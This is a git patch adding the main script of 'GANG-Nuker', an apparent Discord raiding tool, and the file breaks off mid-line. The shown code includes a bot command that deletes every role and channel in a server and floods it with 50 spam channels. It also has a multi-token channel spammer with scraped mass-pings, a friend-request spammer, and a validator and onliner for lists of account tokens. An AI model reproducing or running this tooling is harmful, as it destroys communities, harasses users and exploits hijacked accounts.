From 4fd8983fe5edae733c90739bf078a2fdc6542c9e Mon Sep 17 00:00:00 2001 From: TT-Tutorials <113271370+TT-Tutorials@users.noreply.github.com> Date: Fri, 21 Oct 2022 17:15:56 +1000 Subject: [PATCH] up to date --- GANG.py | 1298 ++++++++++++++++++++++++++++ data/channels.txt | 0 data/groups.txt | 0 data/info.txt | 0 data/massdm_IDs.txt | 0 data/massmention.txt | 0 data/members.txt | 0 data/roles.txt | 0 data/useragent.txt | 1000 +++++++++++++++++++++ data/users.txt | 0 utilities/Avatars/GANG.png | Bin 0 -> 299755 bytes utilities/Plugins/Account_Nuker.py | 103 +++ utilities/Plugins/Auto_Login.py | 69 ++ utilities/Plugins/DM_Deleter.py | 20 + utilities/Plugins/QR_Grabber.py | 192 ++++ utilities/Plugins/Server_Lookup.py | 71 ++ utilities/Plugins/Token_Info.py | 161 ++++ utilities/Plugins/ignore/ignore.py | 1 + utilities/Settings/common.py | 538 ++++++++++++ utilities/Settings/libarys.py | 174 ++++ utilities/Settings/update.py | 93 ++ 21 files changed, 3720 insertions(+) create mode 100644 GANG.py create mode 100644 data/channels.txt create mode 100644 data/groups.txt create mode 100644 data/info.txt create mode 100644 data/massdm_IDs.txt create mode 100644 data/massmention.txt create mode 100644 data/members.txt create mode 100644 data/roles.txt create mode 100644 data/useragent.txt create mode 100644 data/users.txt create mode 100644 utilities/Avatars/GANG.png create mode 100644 utilities/Plugins/Account_Nuker.py create mode 100644 utilities/Plugins/Auto_Login.py create mode 100644 utilities/Plugins/DM_Deleter.py create mode 100644 utilities/Plugins/QR_Grabber.py create mode 100644 utilities/Plugins/Server_Lookup.py create mode 100644 utilities/Plugins/Token_Info.py create mode 100644 utilities/Plugins/ignore/ignore.py create mode 100644 utilities/Settings/common.py create mode 100644 utilities/Settings/libarys.py create mode 100644 utilities/Settings/update.py diff --git a/GANG.py b/GANG.py new file mode 100644 index 0000000..12d0693 --- /dev/null +++ b/GANG.py @@ -0,0 +1,1298 @@ +# https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# Coded / Dev / Owner: ††#1792 +# Copyright © GANG-Nuker +######################################################### + +from utilities.Settings.common import * +from utilities.Settings.libarys import * +from utilities.Settings.update import search_for_updates + +import utilities.Plugins.Account_Nuker +import utilities.Plugins.Auto_Login +import utilities.Plugins.DM_Deleter +import utilities.Plugins.Token_Info +import utilities.Plugins.QR_Grabber + +w = Fore.WHITE +b = Fore.BLACK +g = Fore.LIGHTGREEN_EX +y = Fore.LIGHTYELLOW_EX +m = Fore.LIGHTMAGENTA_EX +c = Fore.LIGHTCYAN_EX +lr = Fore.LIGHTRED_EX +lb = Fore.LIGHTBLUE_EX +# r = Fore.RESET + +setTitle(f"Proxies | ") +choice = input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Would You Like To Use Proxies? [Y/N]: {m}") +if choice.lower() == 'y' or choice.lower() == 'yes': + if os.path.basename(sys.argv[0]).endswith("exe"): + with open(getTempDir()+"\\gang_proxies", 'w'): pass + clear() + proxy_scrape() + sleep(0.3) + try: + assert sys.version_info >= (3,9) + except AssertionError: + print(f"{Fore.RED}Your Python Version is Not supported: ({sys.version_info[0]}.{sys.version_info[1]}.{sys.version_info[2]}), Please Download v3.9+ to use GANG-Nuker!{Fore.RESET}") + sleep(5) + print("[\x1b[95m1\x1b[95m\x1B[37m] Exiting!") + sleep(1.5) + os._exit(0) + else: + with open(getTempDir()+"\\gang_proxies", 'w'): pass + clear() + proxy_scrape() + sleep(0.3) + finally: + Fore.RESET +if choice.lower() == 'n' or choice.lower() == 'no': + pass + +######################################################### + +def Spinner(): + l = ['|', '/', '-', '\\', ' '] + for i in l+l+l: + sys.stdout.write(f"""\r {i}""") + sys.stdout.flush() + time.sleep(0.1) + +global cls +def cls(): + os.system('cls' if os.name=='nt' else 'clear') + +def tool(): + os.system('cls' if os.name=='nt' else 'clear') + +def clearConsole(): return os.system( + 'cls' if os.name in ('nt', 'dos') else 'clear') + +global useragent +def useragent(): + file = open('data/useragent.txt','r') + useragent = (random.choice(list(file))) + useragent2 = [] + useragent2.append(useragent) + useragent1 = [] + +######################################################### + +try: + with open('data/logins.json') as f: + config = json.load(f) +except: + with open('data/logins.json', 'w') as f: + print(f"\n[{g}#\x1b[95m\x1B[37m] Logging Into GANG-Nuker") + login = input("[\x1b[95m#\x1b[95m\x1B[37m] Enter A Username: ") + json.dump({"Login": login}, f, indent=4) + input(f"\n[\x1b[95m#\x1b[95m\x1B[37m] Successfully Logged in as: [{m}{login}{w}]\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER to Continue: ") + pass +with open('data/logins.json') as f: + config = json.load(f) +login = config.get('Login') + +languages = { + 'da' : 'Danish, Denmark', + 'de' : 'German, Germany', + 'en-GB' : 'English, United Kingdom', + 'en-US' : 'English, United States', + 'aud' : 'English, Austrlia', + 'es-ES' : 'Spanish, Spain', + 'fr' : 'French, France', + 'hr' : 'Croatian, Croatia', + 'lt' : 'Lithuanian, Lithuania', + 'hu' : 'Hungarian, Hungary', + 'nl' : 'Dutch, Netherlands', + 'no' : 'Norwegian, Norway', + 'pl' : 'Polish, Poland', + 'pt-BR' : 'Portuguese, Brazilian, Brazil', + 'ro' : 'Romanian, Romania', + 'fi' : 'Finnish, Finland', + 'sv-SE' : 'Swedish, Sweden', + 'vi' : 'Vietnamese, Vietnam', + 'tr' : 'Turkish, Turkey', + 'cs' : 'Czech, Czechia, Czech Republic', + 'el' : 'Greek, Greece', + 'bg' : 'Bulgarian, Bulgaria', + 'ru' : 'Russian, Russia', + 'uk' : 'Ukranian, Ukraine', + 'th' : 'Thai, Thailand', + 'zh-CN' : 'Chinese, China', + 'ja' : 'Japanese', + 'zh-TW' : 'Chinese, Taiwan', + 'ko' : 'Korean, Korea' +} + +regions = [ + 'brazil', + 'hongkong', + 'india', + 'japan', + 'rotterdam', + 'russia', + 'singapore', + 'southafrica', + 'sydney', + 'us-central', + 'us-east', + 'us-south', + 'us-west' +] + + +def spammer(): + global threads + setTitle(f"") + asc = asyncio.get_event_loop() + tokens = open('tokens.txt', 'r').read().splitlines() + clear = lambda: os.system('cls') + clear() + + colorama.init() + Write.Print(f'{login}\n', Colors.blue_to_purple, interval=0.000) + print('') + print('') + Write.Print(" /$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" /$$__ $$ /$$__ $$| $$$ | $$ /$$__ $$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ \__/| $$ \ $$| $$$$| $$| $$ \__/\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ /$$$$| $$$$$$$$| $$ $$ $$| $$ /$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$|_ $$| $$__ $$| $$ $$$$| $$|_ $$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(f' > [v{THIS_VERSION}] | $$ \ $$| $$ | $$| $$\ $$$| $$ \ $$\n', Colors.purple_to_blue, interval=0.000) + Write.Print(f' > [gangnuker.tech] | $$$$$$/| $$ | $$| $$ \ $$| $$$$$$/\n', Colors.purple_to_blue, interval=0.000) + Write.Print(" > [Github.com/TT-Tutorials] \______/ |__/ |__/|__/ \__/ \______/ \n", Colors.purple_to_blue, interval=0.000) + Write.Print("════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════", Colors.purple_to_blue, interval=0.000) + print(f'''{m}'''.replace('$', f'{m}${w}') + f''' +{m}[{w}1{Fore.RESET}{m}]{Fore.RESET} Server Joiner {b}|{Fore.RESET}{m}[{w}9{Fore.RESET}{m}]{Fore.RESET} Channel Spammer {b}|{Fore.RESET}{m}[{w}17{Fore.RESET}{m}]{Fore.RESET} Patch Notes{Fore.RESET} {b}|{Fore.RESET}{m}[{w}25{Fore.RESET}{m}]{Fore.RESET} Token Generator{Fore.RESET} +{m}[{w}2{Fore.RESET}{m}]{Fore.RESET} Server Leaver {b}|{Fore.RESET}{m}[{w}10{Fore.RESET}{m}]{Fore.RESET} DM Spammer {b}|{Fore.RESET}{m}[{w}18{Fore.RESET}{m}]{Fore.RESET} About/Activity{Fore.RESET} {b}|{Fore.RESET}{m}[{w}26{Fore.RESET}{m}]{Fore.RESET} Nitro Generator{Fore.RESET} +{m}[{w}3{Fore.RESET}{m}]{Fore.RESET} Token Checker {b}|{Fore.RESET}{m}[{w}11{Fore.RESET}{m}]{Fore.RESET} Friend Spammer {b}|{Fore.RESET}{m}[{w}19{Fore.RESET}{m}]{Fore.RESET} Server Lookup{Fore.RESET} {b}|{Fore.RESET}{m}[{w}27{Fore.RESET}{m}]{Fore.RESET} QR Token Grabber{Fore.RESET} +{m}[{w}4{Fore.RESET}{m}]{Fore.RESET} Token Onliner {b}|{Fore.RESET}{m}[{w}12{Fore.RESET}{m}]{Fore.RESET} HypeSquad Joiner {b}|{Fore.RESET}{m}[{w}20{Fore.RESET}{m}]{Fore.RESET} Token Infomation{Fore.RESET} {b}|{Fore.RESET}{m}[{w}28{Fore.RESET}{m}]{Fore.RESET} Member ID Scraper{Fore.RESET} +{m}[{w}5{Fore.RESET}{m}]{Fore.RESET} Token Grabber {b}|{Fore.RESET}{m}[{w}13{Fore.RESET}{m}]{Fore.RESET} Reaction Spammer {b}|{Fore.RESET}{m}[{w}21{Fore.RESET}{m}]{Fore.RESET} Status Changer{Fore.RESET} {b}|{Fore.RESET}{m}[{w}29{Fore.RESET}{m}]{Fore.RESET} PFP Changer{Fore.RESET} +{m}[{w}6{Fore.RESET}{m}]{Fore.RESET} Server MassDM {b}|{Fore.RESET}{m}[{w}14{Fore.RESET}{m}]{Fore.RESET} NickName Changer {b}|{Fore.RESET}{m}[{w}22{Fore.RESET}{m}]{Fore.RESET} Group Spammer{Fore.RESET} {b}|{Fore.RESET}{m}[{w}30{Fore.RESET}{m}]{Fore.RESET} About{Fore.RESET} +{m}[{w}7{Fore.RESET}{m}]{Fore.RESET} Account Nuker {b}|{Fore.RESET}{m}[{w}15{Fore.RESET}{m}]{Fore.RESET} Webhook Spammer {b}|{Fore.RESET}{m}[{w}23{Fore.RESET}{m}]{Fore.RESET} Auto Login{Fore.RESET} {b}|{Fore.RESET}{m}[{w}31{Fore.RESET}{m}]{Fore.RESET}{lr} THREADS{Fore.RESET} +{m}[{w}8{Fore.RESET}{m}]{Fore.RESET} Server Nuker {b}|{Fore.RESET}{m}[{w}16{Fore.RESET}{m}]{Fore.RESET} VC Spammer {b}|{Fore.RESET}{m}[{w}24{Fore.RESET}{m}]{Fore.RESET} DM Deleter{Fore.RESET} {b}|{Fore.RESET}{m}[{w}32{Fore.RESET}{m}]{Fore.RESET}{lr} EXIT{Fore.RESET}''') + Write.Print("════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════", Colors.blue_to_purple, interval=0.000) + choice = input(f'{m}[{w}>{m}]{w} Choice?: ') + + + +# JOINER + if choice == '1': + Spinner() + setTitle(f"Server Joiner | ") + gh = input(f""" +Joiner is in the Paid Version of GANG-Nuker!\nIf You Are Wanting to Purchase Make Sure to Checkout the Offical GANG-Nuker Website! + +[\x1b[95m1\x1b[95m\x1B[37m] GANG-Nuker Website +[\x1b[95m2\x1b[95m\x1B[37m] Exit + +[\x1b[95m>\x1b[95m\x1B[37m] Choice?: """) + + if gh in ['01','1']: + webbrowser.open('https://gangnuker.org') + elif gh in ['02','2']: + exit = spammer() + else: + print('') + + + +# LEAVER + if choice == '2': + Spinner() + setTitle(f"Server Leaver | ") + token = open("tokens.txt", "r").read().splitlines() + + ID = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ') + + apilink = "https://discord.com/api/v9/users/@me/guilds/" + str(ID) + + with open('tokens.txt', 'r') as handle: + tokens = handle.readlines() + for i in tokens: + token = i.rstrip() + headers = { + 'Authorization': token, + "content-length": "0", + "cookie": f"__cfuid={randstr(43)}; __dcfduid={randstr(32)}; locale=en-US", + "origin": "https://discord.com", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.600 Chrome/91.0.4472.106 Electron/13.1.4 Safari/537.36", + "x-context-properties": "eyJsb2NhdGlvbiI6Ikludml0ZSBCdXR0b24gRW1iZWQiLCJsb2NhdGlvbl9ndWlsZF9pZCI6Ijg3OTc4MjM4MDAxMTk0NjAyNCIsImxvY2F0aW9uX2NoYW5uZWxfaWQiOiI4ODExMDg4MDc5NjE0MTk3OTYiLCJsb2NhdGlvbl9jaGFubmVsX3R5cGUiOjAsImxvY2F0aW9uX21lc3NhZ2VfaWQiOiI4ODExOTkzOTI5MTExNTkzNTcifQ==", + "x-debug-options": "bugReporterEnabled", + "x-super-properties": "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJjYW5hcnkiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC42MDAiLCJvc192ZXJzaW9uIjoiMTAuMC4yMjAwMCIsIm9zX2FyY2giOiJ4NjQiLCJzeXN0ZW1fbG9jYWxlIjoic2siLCJjbGllbnRfYnVpbGRfbnVtYmVyIjo5NTM1MywiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0=" + } + requests.delete(apilink, headers=headers) + print(f'[{g}>{Fore.RESET}] Done') + + time.sleep(1) + exit = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# TOKEN CHECKER + if choice == '3': + Spinner() + setTitle(f"Token Checker | ") + print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Loading Tokens:\n') + time.sleep(0.5) + def success(text): lock.acquire(); print(f"[{Fore.GREEN}>{Fore.RESET}] {Fore.GREEN}Valid {Fore.RESET}{text}{Fore.RESET}"); lock.release() + def invalid(text): lock.acquire(); print(f"[{Fore.RED}>{Fore.RESET}] {Fore.RED}Invalid {Fore.RED} {text}{Fore.RESET}"); lock.release() + + with open("tokens.txt", "r") as f: tokens = f.read().splitlines() + def save_tokens(): + with open("tokens.txt", "w") as f: f.write("") + for token in tokens: + with open("tokens.txt", "a") as f: f.write(token + "\n") + def removeDuplicates(file): + lines_seen = set() + with open(file, "r+") as f: + d = f.readlines(); f.seek(0) + for i in d: + if i not in lines_seen: f.write(i); lines_seen.add(i) + f.truncate() + def check_token(token:str): + response = requests.get('https://discord.com/api/v9/users/@me/library', headers={"accept": "*/*","accept-encoding": "gzip, deflate, br","accept-language": "en-US,en;q=0.9","authorization": token,"cookie": "__dcfduid=88221810e37411ecb92c839028f4e498; __sdcfduid=88221811e37411ecb92c839028f4e498dc108345b16a69b7966e1b3d33d2182268b3ffd2ef5dfb497aef45ea330267cf; locale=en-US; OptanonConsent=isIABGlobal=false&datestamp=Fri+Jun+03+2022+15%3A36%3A59+GMT-0400+(Eastern+Daylight+Time)&version=6.33.0&hosts=&landingPath=https%3A%2F%2Fdiscord.com%2F&groups=C0001%3A1%2CC0002%3A1%2CC0003%3A1; __stripe_mid=3a915c95-4cf7-4d27-9d85-cfea03f7ce829a88e5; __stripe_sid=b699111a-a911-402d-a08a-c8801eb0f2e8baf912; __cf_bm=nEUsFi1av6PiX4cHH1PEcKFKot6_MslL4UbUxraeXb4-1654285264-0-AU8vy1OnS/uTMTGu2TbqIGYWUreX3IAEpMo++NJZgaaFRNAikwxeV/gxPixQ/DWlUyXaSpKSNP6XweSVG5Mzhn/QPdHU3EmR/pQ5K42/mYQaiRRl6osEVJWMMtli3L5iIA==","referer": "https://discord.com/channels/967617613960187974/981260247807168532","sec-fetch-dest": "empty","sec-fetch-mode": "cors","sec-fetch-site": "same-origin","sec-gpc": "1","user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36","x-discord-locale": "en-US","x-super-properties": "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImVuLVVTIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwMi4wLjUwMDUuNjEgU2FmYXJpLzUzNy4zNiIsImJyb3dzZXJfdmVyc2lvbiI6IjEwMi4wLjUwMDUuNjEiLCJvc192ZXJzaW9uIjoiMTAiLCJyZWZlcnJlciI6IiIsInJlZmVycmluZ19kb21haW4iOiIiLCJyZWZlcnJlcl9jdXJyZW50IjoiIiwicmVmZXJyaW5nX2RvbWFpbl9jdXJyZW50IjoiIiwicmVsZWFzZV9jaGFubmVsIjoic3RhYmxlIiwiY2xpZW50X2J1aWxkX251bWJlciI6MTMwNDEwLCJjbGllbnRfZXZlbnRfc291cmNlIjpudWxsfQ=="}, timeout=5) + if response.status_code == 200: success(f"| {token}") + else: tokens.remove(token); invalid(f"| {token}") + def check_tokens(): + threads=[] + for token in tokens: + try:threads.append(threading.Thread(target=check_token, args=(token,))) + except Exception as e: pass + for thread in threads: thread.start() + for thread in threads: thread.join() + def start(): + removeDuplicates("tokens.txt") + check_tokens() + save_tokens() + + start() + print(f'\n\n[\x1b[95m>\x1b[95m\x1B[37m] All Tokens have been Checked! (tokens.txt has been updated with only vaild tokens!)') + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# TOKEN ONLINER + if choice == '4': + Spinner() + setTitle(f"Token Onliner | ") + config = { + "details": "FREE VERSION", + "state": "https://gangnuker.org", + "name": "GANG NUKER", + } + + class Onliner: + def __init__(self, token) -> None: + self.token = token + self.statuses = ["online", "idle", "dnd"] + + def __online__(self): + ws = websocket.WebSocket() + ws.connect("wss://gateway.discord.gg/?encoding=json&v=9") + response = ws.recv() + event = json.loads(response) + heartbeat_interval = int(event["d"]["heartbeat_interval"]) / 1000 + ws.send( + json.dumps( + { + "op": 2, + "d": { + "token": self.token, + "properties": { + "$os": sys.platform, + "$browser": "RTB", + "$device": f"{sys.platform} Device", + }, + "presence": { + "game": { + "name": config["name"], + "type": 0, + "details": config["details"], + "state": config["state"], + }, + "status": random.choice(self.statuses), + "since": 0, + "activities": [], + "afk": False, + }, + }, + "s": None, + "t": None, + } + ) + ) + + print(f"\n[{g}+{w}] Online | {self.token}") + + while True: + heartbeatJSON = { + "op": 1, + "token": self.token, + "d": "null" + } + ws.send(json.dumps(heartbeatJSON)) + time.sleep(heartbeat_interval) + + + for token in open("./tokens.txt", "r").read().splitlines(): + threading.Thread(target=Onliner(token).__online__).start() + time.sleep(2) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# TOKEN GRABBER + if choice == '5': + Spinner() + setTitle(f"Token Grabber | ") + print(f"\n[{lr}!{w}] Token Grabber is Currently Down... Updating Soon!") + + time.sleep(2.5) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + clear() + exit = spammer() + + + + +# SERVER MASSDM + if choice == '6': + Spinner() + setTitle(f"Server MassDM | ") + print(f"\n[{lr}!{w}] Server MassDM is Currently Down... Updating Soon!") + + time.sleep(2.5) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + clear() + exit = spammer() + + + +# ACCOUNT NUKER + if choice == '7': + Spinner() + setTitle(f"Account Nuker | ") + token = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Token: ') + validateToken(token) + Server_Name = str(input(f'[\x1b[95m>\x1b[95m\x1B[37m] Server Name?: ')) + message_Content = str(input(f'[\x1b[95m>\x1b[95m\x1B[37m] MassDM Message?: ')) + if threading.active_count() < threads: + threading.Thread(target=utilities.Plugins.Account_Nuker.GANGNUKER_START, args=(token, Server_Name, message_Content)).start() + + + +# SERVER NUKER + if choice == '8': + Spinner() + setTitle(f"Server Nuker | ") +# intents = discord.Client(intents=discord.Intents().all()) +# width = os.get_terminal_size().columns + def menu(): + token = input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Bot token : ") + f = open("utilities/Plugins/ignore/.token", "w") + f.write(token) + f.close() + + prefix = input(f"[\x1b[95m>\x1b[95m\x1B[37m] Bot prefix : ") + f = open("utilities/Plugins/ignore/.prefix", "w") + f.write(prefix) + f.close() + + spammessage = input(f"[\x1b[95m>\x1b[95m\x1B[37m] Spam message : ") + f = open("utilities/Plugins/ignore/.message", "w") + f.write(spammessage) + f.close() + + channelsname = input(f"[\x1b[95m>\x1b[95m\x1B[37m] Channels name : ") + f = open("utilities/Plugins/ignore/.channelsname", "w") + channelsname = channelsname.lower() + channelsname.replace("", "-") + f.write(channelsname) + f.close() + main() + + def main(): + + prefix = open("utilities/Plugins/ignore/.prefix", "r") + prefix = prefix.read() + + token = open("utilities/Plugins/ignore/.token", "r") + token = token.read() + + channelsname = open("utilities/Plugins/ignore/.channelsname", "r") + channelsname = channelsname.read() + + spammessage = open("utilities/Plugins/ignore/.message", "r") + spammessage = spammessage.read() + + gang = commands.Bot(command_prefix=prefix, intents=discord.Intents().all()) + gang.remove_command('help') + + @gang.event + async def on_ready(): + if len(gang.guilds) > 1: + guildpl = "guilds" + else: + guildpl = "guild" + activity = discord.Game(name=f"GANG-Nuker Server Nuker", type=3) + await gang.change_presence(status=discord.Status.dnd, activity=activity) + clear() + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Bot : {gang.user} ({len(gang.guilds)} {guildpl})") + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Prefix : {prefix}") + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Spam message : {spammessage}") + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Channels name : {channelsname}") + print(f"") + print(f"[\x1b[95m>\x1b[95m\x1B[37m] type: {prefix}nuke in a channel") + print(f"") + + @gang.event + async def on_guild_channel_create(channel): + while True: + await channel.send(spammessage) + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Sent : {spammessage}") + + @gang.event + async def on_guild_join(guild): + for channel in guild.text_channels: + if channel.permissions_for(guild.me).create_instant_invite: + invite = await channel.create_invite() + break + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Joined Guild : {guild.name} ({guild.id}) {invite}") + + @gang.command() + async def nuke(ctx): + await ctx.message.delete() + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Nuking {ctx.guild.name} ({ctx.guild.id})...") + await ctx.guild.edit(name="GANG-Nuker Runs Discord") + for role in ctx.guild.roles: + try: + await role.delete() + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted: @{role.name}") + except: + pass + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Couldnt Delete: @{role.name}") + + for channel in ctx.guild.channels: + try: + await channel.delete() + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted: #{channel.name}") + except: + pass + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Couldnt Delete: #{channel.name}") + try: + for i in range(50): + await ctx.guild.create_text_channel(channelsname) + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Created: #{channel.name}") + except Exception as er: + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Error: {er}") + try: + gang.run(token) + except Exception as er: + pass + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Error") + input() + + while True: + menu() + + + +# CHANNEL SPAMMER + if choice == '9': + Spinner() + setTitle(f"Channel Spammer | ") + print(f"""\n[{Fore.LIGHTRED_EX}!{Fore.RESET}] Make Sure Your Tokens Are In tokens.txt For The Spammer To Work!\n""") + tokens = open("tokens.txt", "r").read().splitlines() + server = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ') + channel = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Channel ID: ') + mess = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Message?: ') + delay = float(input(f'[\x1b[95m>\x1b[95m\x1B[37m] Delay: ')) + ch = input('[\x1b[95m>\x1b[95m\x1B[37m] Random Strings: y/n?: ').lower() + mas = input('[\x1b[95m>\x1b[95m\x1B[37m] MassPing?: y/n?: ').lower() + + if mas == 'y': + with open("tokens.txt") as f: + firstline = f.readline().rstrip() + bot = discum.Client(token=firstline) + + def close_after_fetching(resp, guild_id): + if bot.gateway.finishedMemberFetching(guild_id): + lenmembersfetched = len(bot.gateway.session.guild(guild_id).members) + print(str(lenmembersfetched) + ' members fetched') + bot.gateway.removeCommand( + {'function': close_after_fetching, 'params': {'guild_id': guild_id}}) + bot.gateway.close() + + def get_members(guild_id, channel_id): + bot.gateway.fetchMembers(guild_id, channel_id, keep='all', wait=1) + bot.gateway.command( + {'function': close_after_fetching, 'params': {'guild_id': guild_id}}) + bot.gateway.run() + bot.gateway.resetSession() + return bot.gateway.session.guild(guild_id).members + + members = get_members(server, channel) + memberslist = [] + + for memberID in members: + memberslist.append(memberID) + print(memberID) + + f = open('data/users.txt', "w") + for element in memberslist: + f.write(f'<@{element}>' + '\n') + f.close() + + def spam(token, mess): + if mas == 'y': + with open("data/users.txt", "r") as file: + allText = file.read() + words = list(map(str, allText.split())) + mess += ''.join(random.choice(words)) + + if ch == 'y': + mess += " | " + "".join(random.choices(string.ascii_lowercase + string.digits, k=5)) + + elif ch == 'n': + pass + + else: + pass + + url = 'https://discord.com/api/v9/channels/' + channel + '/messages' + payload = {"content": mess, "tts": False} + header = mainHeader(token) + + while True: + time.sleep(delay) + src = requests.post(url, headers=header, json=payload) + + if src.status_code == 429: + ratelimit = json.loads(src.content) + print(f"{Fore.LIGHTRED_EX}[!]{Fore.RESET} Ratelimit for", + str(float(ratelimit['retry_after'])) + " seconds") + time.sleep(float(ratelimit['retry_after'])) + + elif src.status_code == 200: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Sent: {mess}') + + elif src.status_code == 401: + print(f'[{Fore.LIGHTRED_EX}!{Fore.RESET}] Invalid Token') + elif src.status_code == 404: + print(f'[{Fore.LIGHTRED_EX}!{Fore.RESET}] Not Found') + elif src.status_code == 403: + print(f'[{Fore.LIGHTRED_EX}!{Fore.RESET}] Token Doesnt Have Perms For This Channel!') + + exit = input(f'') + clear() + spammer() + + def thread(): + text = mess + for token in tokens: + threading.Thread(target=spam, args=(token, text)).start() + + start = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER To Start: ') + start = thread() + + time.sleep(2) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + clear() + exit = spammer() + + + +# DM SPAMMER + if choice == '10': + Spinner() + setTitle(f"DM Spammer | ") + gh = input(f""" +DM Spammer is in the Paid Version of GANG-Nuker!\nIf You Are Wanting to Purchase Make Sure to Checkout the Offical GANG-Nuker Website! + +[\x1b[95m1\x1b[95m\x1B[37m] GANG-Nuker Website +[\x1b[95m2\x1b[95m\x1B[37m] Exit + +[\x1b[95m>\x1b[95m\x1B[37m] Choice?: """) + + if gh in ['01','1']: + webbrowser.open('https://gangnuker.org') + elif gh in ['02','2']: + exit = spammer() + else: + print('') + + + +# FRIEND REQ SPAMMER + if choice == '11': + Spinner() + setTitle(f"Friend Request Spammer | ") + def friender(token, user): + try: + user = user.split("#") + headers = mainHeader(token) + payload = {"username": user[0], "discriminator": user[1]} + src = requests.post('https://discord.com/api/v9/users/@me/relationships', headers=headers, + json=payload) + if src.status_code == 204: + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Friend Request Sent to {user[0]}#{user[1]}! ") + except Exception as e: + print(e) + + user = input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Username + Tag: ") + tokens = open("tokens.txt", "r").read().splitlines() + delay = float(input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Delay: ')) + for token in tokens: + time.sleep(delay) + threading.Thread(target=friender, args=(token, user)).start() + + time.sleep(2) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# HYPESQUAD JOINER + if choice == '12': + Spinner() + setTitle(f"HypeSquad Joiner | ") + print(f'''\n[\x1b[95m1\x1b[95m\x1B[37m] {Fore.MAGENTA}Bravery{Fore.RESET} +[\x1b[95m2\x1b[95m\x1B[37m] {Fore.LIGHTRED_EX}Brilliance{Fore.RESET} +[\x1b[95m3\x1b[95m\x1B[37m] {Fore.LIGHTCYAN_EX}Balance{Fore.RESET} +[\x1b[95m4\x1b[95m\x1B[37m] Leave The HypeSquad''') + + house = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Choice: ") + + def hype(token): + headers = mainHeader(token) + + if house == "1": + housefinal = '1' + + if house == "2": + housefinal = '2' + + if house == "3": + housefinal = '3' + + if house == '4': + housefinal = None + + if house == '1' or '2' or '3': + payload = { + 'house_id': housefinal + } + rep = requests.post("https://discord.com/api/v9/hypesquad/online", json=payload, headers=headers) + if rep.status_code == 204: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Done') + else: + print(f'[{Fore.LIGHTRED_EX}!{Fore.RESET}] Failed') + + if house == '4': + payload = { + 'house_id': housefinal + } + req = requests.delete('https://discord.com/api/v9/hypesquad/online', headers=headers, json=payload) + if req.status_code == 204: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Done') + else: + pass + + else: + pass + + tokens = open('tokens.txt', 'r').read().splitlines() + for token in tokens: + threading.Thread(target=hype(token)).start() + + time.sleep(1) + exit = 